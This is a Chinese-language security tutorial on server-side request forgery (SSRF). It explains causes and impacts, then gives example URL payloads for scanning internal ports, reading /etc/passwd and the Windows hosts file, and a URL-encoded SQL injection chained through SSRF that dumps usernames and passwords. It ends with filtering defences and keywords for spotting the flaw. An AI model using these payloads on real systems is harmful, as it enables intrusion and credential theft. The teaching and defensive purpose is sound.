漏洞概述
服务器会根据用户提交的 URL 发送一个 HTTP 请求。使用用户指定的 URL , Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。
如果没有对用户提交 URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在 “ 请求伪造 ” 的缺陷。 “ 请求伪造 ” ,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“ 请求伪造 ” 发生在服务器端,那这个漏洞就叫做 “ 服务器端请求伪造 ” ,英文名字 Server Side Request Forgery ,简称SSRF 。
SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。
漏洞原理
- 服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。
- 对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。
- 没对响应的结果进行检验,直接输出。
漏洞危害
- 端口扫描;
- 内网Web 应用指纹识别;
- 攻击内网应用;
- 读取本地文件;
SSRF攻防
SSRF利用
文件访问
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt
端口扫描
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379
读取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php
内网应用指纹识别
<Directory "c:\www\phpMyAdmin">#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1</Directory>
攻击内网Web应用
<Directory "c:\www\cms">#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1</Directory>
通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。
?url=http://127.0.0.1/cms/show.php?
id=-33/*A*/union/*J*/select/*E*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*S*/from/*T*/cms_
users?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users
SSRF防御
过滤输入
- 限制协议,仅允许 http 或 https 协议;
- 限制IP,避免应用被用来获取内网数据,攻击内网;
- 限制端口,限制请求端口为常用端口。
过滤输出
- 过滤返回信息,只要不符合要求的,全部过滤;
- 统一错误信息,让攻击无法对内网信息进行判断。
SSRF挖掘
Web功能 | URL关键字 |
分享 转码服务 在线翻译 图片加载与下载 图片、文章收藏功能 ... | share wap url link src u display domain ... |